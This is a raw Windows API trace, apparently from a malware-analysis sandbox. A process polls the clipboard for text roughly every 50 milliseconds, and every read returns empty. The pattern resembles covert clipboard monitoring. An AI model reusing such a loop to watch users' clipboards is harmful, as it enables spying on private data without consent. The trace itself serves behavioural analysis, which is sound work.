[0269.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbbae304, dwHighDateTime=0x1d96e12))
[0269.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.726] GetClipboardData (uFormat=0x1) returned 0x0
[0269.726] CloseClipboard () returned 1
[0269.726] Sleep (dwMilliseconds=0x32)
[0269.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbbd454d, dwHighDateTime=0x1d96e12))
[0269.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.743] GetClipboardData (uFormat=0x1) returned 0x0
[0269.744] CloseClipboard () returned 1
[0269.744] Sleep (dwMilliseconds=0x32)
[0269.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbbfa7aa, dwHighDateTime=0x1d96e12))
[0269.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.758] GetClipboardData (uFormat=0x1) returned 0x0
[0269.758] CloseClipboard () returned 1
[0269.758] Sleep (dwMilliseconds=0x32)
[0269.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbc20a0e, dwHighDateTime=0x1d96e12))
[0269.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.773] GetClipboardData (uFormat=0x1) returned 0x0
[0269.773] CloseClipboard () returned 1
[0269.773] Sleep (dwMilliseconds=0x32)
[0269.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbc46c5f, dwHighDateTime=0x1d96e12))
[0269.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.790] GetClipboardData (uFormat=0x1) returned 0x0
[0269.790] CloseClipboard () returned 1
[0269.790] Sleep (dwMilliseconds=0x32)
[0269.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbc6ceb9, dwHighDateTime=0x1d96e12))
[0269.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.804] GetClipboardData (uFormat=0x1) returned 0x0
[0269.804] CloseClipboard () returned 1
[0269.805] Sleep (dwMilliseconds=0x32)
[0269.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbc93112, dwHighDateTime=0x1d96e12))
[0269.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.821] GetClipboardData (uFormat=0x1) returned 0x0
[0269.821] CloseClipboard () returned 1
[0269.821] Sleep (dwMilliseconds=0x32)
[0269.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbcb9367, dwHighDateTime=0x1d96e12))
[0269.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.836] GetClipboardData (uFormat=0x1) returned 0x0
[0269.836] CloseClipboard () returned 1
[0269.836] Sleep (dwMilliseconds=0x32)
[0269.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbcdf5d0, dwHighDateTime=0x1d96e12))
[0269.852] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.852] GetClipboardData (uFormat=0x1) returned 0x0
[0269.852] CloseClipboard () returned 1
[0269.852] Sleep (dwMilliseconds=0x32)
[0269.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbd05827, dwHighDateTime=0x1d96e12))
[0269.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.868] GetClipboardData (uFormat=0x1) returned 0x0
[0269.868] CloseClipboard () returned 1
[0269.868] Sleep (dwMilliseconds=0x32)
[0269.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbd2ba78, dwHighDateTime=0x1d96e12))
[0269.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.882] GetClipboardData (uFormat=0x1) returned 0x0
[0269.883] CloseClipboard () returned 1
[0269.883] Sleep (dwMilliseconds=0x32)
[0269.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbd51cdd, dwHighDateTime=0x1d96e12))
[0269.901] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.901] GetClipboardData (uFormat=0x1) returned 0x0
[0269.901] CloseClipboard () returned 1
[0269.901] Sleep (dwMilliseconds=0x32)
[0269.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbd77f3c, dwHighDateTime=0x1d96e12))
[0269.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.915] GetClipboardData (uFormat=0x1) returned 0x0
[0269.915] CloseClipboard () returned 1
[0269.915] Sleep (dwMilliseconds=0x32)
[0269.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbd9e18e, dwHighDateTime=0x1d96e12))
[0269.933] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.933] GetClipboardData (uFormat=0x1) returned 0x0
[0269.933] CloseClipboard () returned 1
[0269.933] Sleep (dwMilliseconds=0x32)
[0269.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbdc43e8, dwHighDateTime=0x1d96e12))
[0269.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.946] GetClipboardData (uFormat=0x1) returned 0x0
[0269.946] CloseClipboard () returned 1
[0269.947] Sleep (dwMilliseconds=0x32)
[0269.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbdea63c, dwHighDateTime=0x1d96e12))
[0269.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.961] GetClipboardData (uFormat=0x1) returned 0x0
[0269.961] CloseClipboard () returned 1
[0269.961] Sleep (dwMilliseconds=0x32)
[0269.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbe1089b, dwHighDateTime=0x1d96e12))
[0269.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.976] GetClipboardData (uFormat=0x1) returned 0x0
[0269.976] CloseClipboard () returned 1
[0269.976] Sleep (dwMilliseconds=0x32)
[0269.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbe36af3, dwHighDateTime=0x1d96e12))
[0269.992] OpenClipboard (hWndNewOwner=0x0) returned 1
[0269.992] GetClipboardData (uFormat=0x1) returned 0x0
[0269.992] CloseClipboard () returned 1
[0269.992] Sleep (dwMilliseconds=0x32)
[0270.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbe5cd48, dwHighDateTime=0x1d96e12))
[0270.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.007] GetClipboardData (uFormat=0x1) returned 0x0
[0270.008] CloseClipboard () returned 1
[0270.008] Sleep (dwMilliseconds=0x32)
[0270.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbe82f9e, dwHighDateTime=0x1d96e12))
[0270.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.023] GetClipboardData (uFormat=0x1) returned 0x0
[0270.023] CloseClipboard () returned 1
[0270.023] Sleep (dwMilliseconds=0x32)
[0270.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbea9210, dwHighDateTime=0x1d96e12))
[0270.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.040] GetClipboardData (uFormat=0x1) returned 0x0
[0270.040] CloseClipboard () returned 1
[0270.040] Sleep (dwMilliseconds=0x32)
[0270.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbecf45b, dwHighDateTime=0x1d96e12))
[0270.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.054] GetClipboardData (uFormat=0x1) returned 0x0
[0270.054] CloseClipboard () returned 1
[0270.054] Sleep (dwMilliseconds=0x32)
[0270.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbef56af, dwHighDateTime=0x1d96e12))
[0270.072] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.072] GetClipboardData (uFormat=0x1) returned 0x0
[0270.072] CloseClipboard () returned 1
[0270.072] Sleep (dwMilliseconds=0x32)
[0270.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbf1b90b, dwHighDateTime=0x1d96e12))
[0270.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.086] GetClipboardData (uFormat=0x1) returned 0x0
[0270.086] CloseClipboard () returned 1
[0270.086] Sleep (dwMilliseconds=0x32)
[0270.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbf41b82, dwHighDateTime=0x1d96e12))
[0270.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.101] GetClipboardData (uFormat=0x1) returned 0x0
[0270.101] CloseClipboard () returned 1
[0270.101] Sleep (dwMilliseconds=0x32)
[0270.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbf67dc8, dwHighDateTime=0x1d96e12))
[0270.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.118] GetClipboardData (uFormat=0x1) returned 0x0
[0270.118] CloseClipboard () returned 1
[0270.118] Sleep (dwMilliseconds=0x32)
[0270.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbf8e018, dwHighDateTime=0x1d96e12))
[0270.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.133] GetClipboardData (uFormat=0x1) returned 0x0
[0270.133] CloseClipboard () returned 1
[0270.133] Sleep (dwMilliseconds=0x32)
[0270.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbfb4282, dwHighDateTime=0x1d96e12))
[0270.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.148] GetClipboardData (uFormat=0x1) returned 0x0
[0270.148] CloseClipboard () returned 1
[0270.148] Sleep (dwMilliseconds=0x32)
[0270.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfbfda4cf, dwHighDateTime=0x1d96e12))
[0270.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.165] GetClipboardData (uFormat=0x1) returned 0x0
[0270.165] CloseClipboard () returned 1
[0270.165] Sleep (dwMilliseconds=0x32)
[0270.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc000729, dwHighDateTime=0x1d96e12))
[0270.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.180] GetClipboardData (uFormat=0x1) returned 0x0
[0270.180] CloseClipboard () returned 1
[0270.180] Sleep (dwMilliseconds=0x32)
[0270.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc026991, dwHighDateTime=0x1d96e12))
[0270.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.196] GetClipboardData (uFormat=0x1) returned 0x0
[0270.196] CloseClipboard () returned 1
[0270.197] Sleep (dwMilliseconds=0x32)
[0270.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc04cbe0, dwHighDateTime=0x1d96e12))
[0270.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.211] GetClipboardData (uFormat=0x1) returned 0x0
[0270.211] CloseClipboard () returned 1
[0270.211] Sleep (dwMilliseconds=0x32)
[0270.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc072e3a, dwHighDateTime=0x1d96e12))
[0270.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.226] GetClipboardData (uFormat=0x1) returned 0x0
[0270.226] CloseClipboard () returned 1
[0270.226] Sleep (dwMilliseconds=0x32)
[0270.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc09908f, dwHighDateTime=0x1d96e12))
[0270.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.243] GetClipboardData (uFormat=0x1) returned 0x0
[0270.243] CloseClipboard () returned 1
[0270.243] Sleep (dwMilliseconds=0x32)
[0270.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc0bf2e7, dwHighDateTime=0x1d96e12))
[0270.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.258] GetClipboardData (uFormat=0x1) returned 0x0
[0270.258] CloseClipboard () returned 1
[0270.258] Sleep (dwMilliseconds=0x32)
[0270.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc0e5556, dwHighDateTime=0x1d96e12))
[0270.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.273] GetClipboardData (uFormat=0x1) returned 0x0
[0270.273] CloseClipboard () returned 1
[0270.273] Sleep (dwMilliseconds=0x32)
[0270.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc10b7b5, dwHighDateTime=0x1d96e12))
[0270.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.290] GetClipboardData (uFormat=0x1) returned 0x0
[0270.290] CloseClipboard () returned 1
[0270.291] Sleep (dwMilliseconds=0x32)
[0270.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc1319fe, dwHighDateTime=0x1d96e12))
[0270.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.304] GetClipboardData (uFormat=0x1) returned 0x0
[0270.304] CloseClipboard () returned 1
[0270.304] Sleep (dwMilliseconds=0x32)
[0270.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc157c52, dwHighDateTime=0x1d96e12))
[0270.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.321] GetClipboardData (uFormat=0x1) returned 0x0
[0270.321] CloseClipboard () returned 1
[0270.322] Sleep (dwMilliseconds=0x32)
[0270.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc17deab, dwHighDateTime=0x1d96e12))
[0270.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.336] GetClipboardData (uFormat=0x1) returned 0x0
[0270.336] CloseClipboard () returned 1
[0270.336] Sleep (dwMilliseconds=0x32)
[0270.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc1a4107, dwHighDateTime=0x1d96e12))
[0270.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.351] GetClipboardData (uFormat=0x1) returned 0x0
[0270.351] CloseClipboard () returned 1
[0270.351] Sleep (dwMilliseconds=0x32)
[0270.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc1ca36c, dwHighDateTime=0x1d96e12))
[0270.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.368] GetClipboardData (uFormat=0x1) returned 0x0
[0270.368] CloseClipboard () returned 1
[0270.368] Sleep (dwMilliseconds=0x32)
[0270.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc1f05ba, dwHighDateTime=0x1d96e12))
[0270.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.383] GetClipboardData (uFormat=0x1) returned 0x0
[0270.383] CloseClipboard () returned 1
[0270.383] Sleep (dwMilliseconds=0x32)
[0270.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc216810, dwHighDateTime=0x1d96e12))
[0270.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.398] GetClipboardData (uFormat=0x1) returned 0x0
[0270.398] CloseClipboard () returned 1
[0270.399] Sleep (dwMilliseconds=0x32)
[0270.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc23ca73, dwHighDateTime=0x1d96e12))
[0270.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.415] GetClipboardData (uFormat=0x1) returned 0x0
[0270.415] CloseClipboard () returned 1
[0270.415] Sleep (dwMilliseconds=0x32)
[0270.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc262cc4, dwHighDateTime=0x1d96e12))
[0270.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.434] GetClipboardData (uFormat=0x1) returned 0x0
[0270.434] CloseClipboard () returned 1
[0270.434] Sleep (dwMilliseconds=0x32)
[0270.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc288f2a, dwHighDateTime=0x1d96e12))
[0270.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.446] GetClipboardData (uFormat=0x1) returned 0x0
[0270.446] CloseClipboard () returned 1
[0270.446] Sleep (dwMilliseconds=0x32)
[0270.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc2af17a, dwHighDateTime=0x1d96e12))
[0270.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.461] GetClipboardData (uFormat=0x1) returned 0x0
[0270.461] CloseClipboard () returned 1
[0270.461] Sleep (dwMilliseconds=0x32)
[0270.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc2d53d1, dwHighDateTime=0x1d96e12))
[0270.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.476] GetClipboardData (uFormat=0x1) returned 0x0
[0270.476] CloseClipboard () returned 1
[0270.476] Sleep (dwMilliseconds=0x32)
[0270.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc2fb641, dwHighDateTime=0x1d96e12))
[0270.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.493] GetClipboardData (uFormat=0x1) returned 0x0
[0270.493] CloseClipboard () returned 1
[0270.493] Sleep (dwMilliseconds=0x32)
[0270.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc32189e, dwHighDateTime=0x1d96e12))
[0270.508] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.508] GetClipboardData (uFormat=0x1) returned 0x0
[0270.508] CloseClipboard () returned 1
[0270.508] Sleep (dwMilliseconds=0x32)
[0270.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc347ae2, dwHighDateTime=0x1d96e12))
[0270.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.523] GetClipboardData (uFormat=0x1) returned 0x0
[0270.523] CloseClipboard () returned 1
[0270.523] Sleep (dwMilliseconds=0x32)
[0270.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc36dd42, dwHighDateTime=0x1d96e12))
[0270.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.540] GetClipboardData (uFormat=0x1) returned 0x0
[0270.540] CloseClipboard () returned 1
[0270.540] Sleep (dwMilliseconds=0x32)
[0270.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc393f99, dwHighDateTime=0x1d96e12))
[0270.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.554] GetClipboardData (uFormat=0x1) returned 0x0
[0270.554] CloseClipboard () returned 1
[0270.555] Sleep (dwMilliseconds=0x32)
[0270.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc3ba1f1, dwHighDateTime=0x1d96e12))
[0270.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.571] GetClipboardData (uFormat=0x1) returned 0x0
[0270.571] CloseClipboard () returned 1
[0270.571] Sleep (dwMilliseconds=0x32)
[0270.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc3e044a, dwHighDateTime=0x1d96e12))
[0270.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.586] GetClipboardData (uFormat=0x1) returned 0x0
[0270.586] CloseClipboard () returned 1
[0270.586] Sleep (dwMilliseconds=0x32)
[0270.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc4066aa, dwHighDateTime=0x1d96e12))
[0270.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.601] GetClipboardData (uFormat=0x1) returned 0x0
[0270.601] CloseClipboard () returned 1
[0270.601] Sleep (dwMilliseconds=0x32)
[0270.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc42c8fb, dwHighDateTime=0x1d96e12))
[0270.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.618] GetClipboardData (uFormat=0x1) returned 0x0
[0270.619] CloseClipboard () returned 1
[0270.619] Sleep (dwMilliseconds=0x32)
[0270.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc452b58, dwHighDateTime=0x1d96e12))
[0270.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.632] GetClipboardData (uFormat=0x1) returned 0x0
[0270.633] CloseClipboard () returned 1
[0270.633] Sleep (dwMilliseconds=0x32)
[0270.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc478db1, dwHighDateTime=0x1d96e12))
[0270.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.648] GetClipboardData (uFormat=0x1) returned 0x0
[0270.648] CloseClipboard () returned 1
[0270.648] Sleep (dwMilliseconds=0x32)
[0270.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc49f00e, dwHighDateTime=0x1d96e12))
[0270.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.671] GetClipboardData (uFormat=0x1) returned 0x0
[0270.671] CloseClipboard () returned 1
[0270.671] Sleep (dwMilliseconds=0x32)
[0270.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc4c527c, dwHighDateTime=0x1d96e12))
[0270.681] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.681] GetClipboardData (uFormat=0x1) returned 0x0
[0270.681] CloseClipboard () returned 1
[0270.681] Sleep (dwMilliseconds=0x32)
[0270.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc4eb4bf, dwHighDateTime=0x1d96e12))
[0270.695] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.695] GetClipboardData (uFormat=0x1) returned 0x0
[0270.695] CloseClipboard () returned 1
[0270.695] Sleep (dwMilliseconds=0x32)
[0270.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc51171d, dwHighDateTime=0x1d96e12))
[0270.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.711] GetClipboardData (uFormat=0x1) returned 0x0
[0270.711] CloseClipboard () returned 1
[0270.711] Sleep (dwMilliseconds=0x32)
[0270.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc53eb88, dwHighDateTime=0x1d96e12))
[0270.730] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.732] GetClipboardData (uFormat=0x1) returned 0x0
[0270.732] CloseClipboard () returned 1
[0270.732] Sleep (dwMilliseconds=0x32)
[0270.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc55dbc3, dwHighDateTime=0x1d96e12))
[0270.742] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.742] GetClipboardData (uFormat=0x1) returned 0x0
[0270.742] CloseClipboard () returned 1
[0270.742] Sleep (dwMilliseconds=0x32)
[0270.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc6db39a, dwHighDateTime=0x1d96e12))
[0270.901] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.901] GetClipboardData (uFormat=0x1) returned 0x0
[0270.901] CloseClipboard () returned 1
[0270.901] Sleep (dwMilliseconds=0x32)
[0270.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc701596, dwHighDateTime=0x1d96e12))
[0270.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.915] GetClipboardData (uFormat=0x1) returned 0x0
[0270.916] CloseClipboard () returned 1
[0270.916] Sleep (dwMilliseconds=0x32)
[0270.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc727810, dwHighDateTime=0x1d96e12))
[0270.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.930] GetClipboardData (uFormat=0x1) returned 0x0
[0270.930] CloseClipboard () returned 1
[0270.930] Sleep (dwMilliseconds=0x32)
[0270.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xfc74da6f, dwHighDateTime=0x1d96e12))
[0270.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0270.946] GetClipboardData (uFormat=0x1) returned 0x0
[0270.946] CloseClipboard () returned 1
[0270.947] Sleep (dwMilliseconds=0x32)
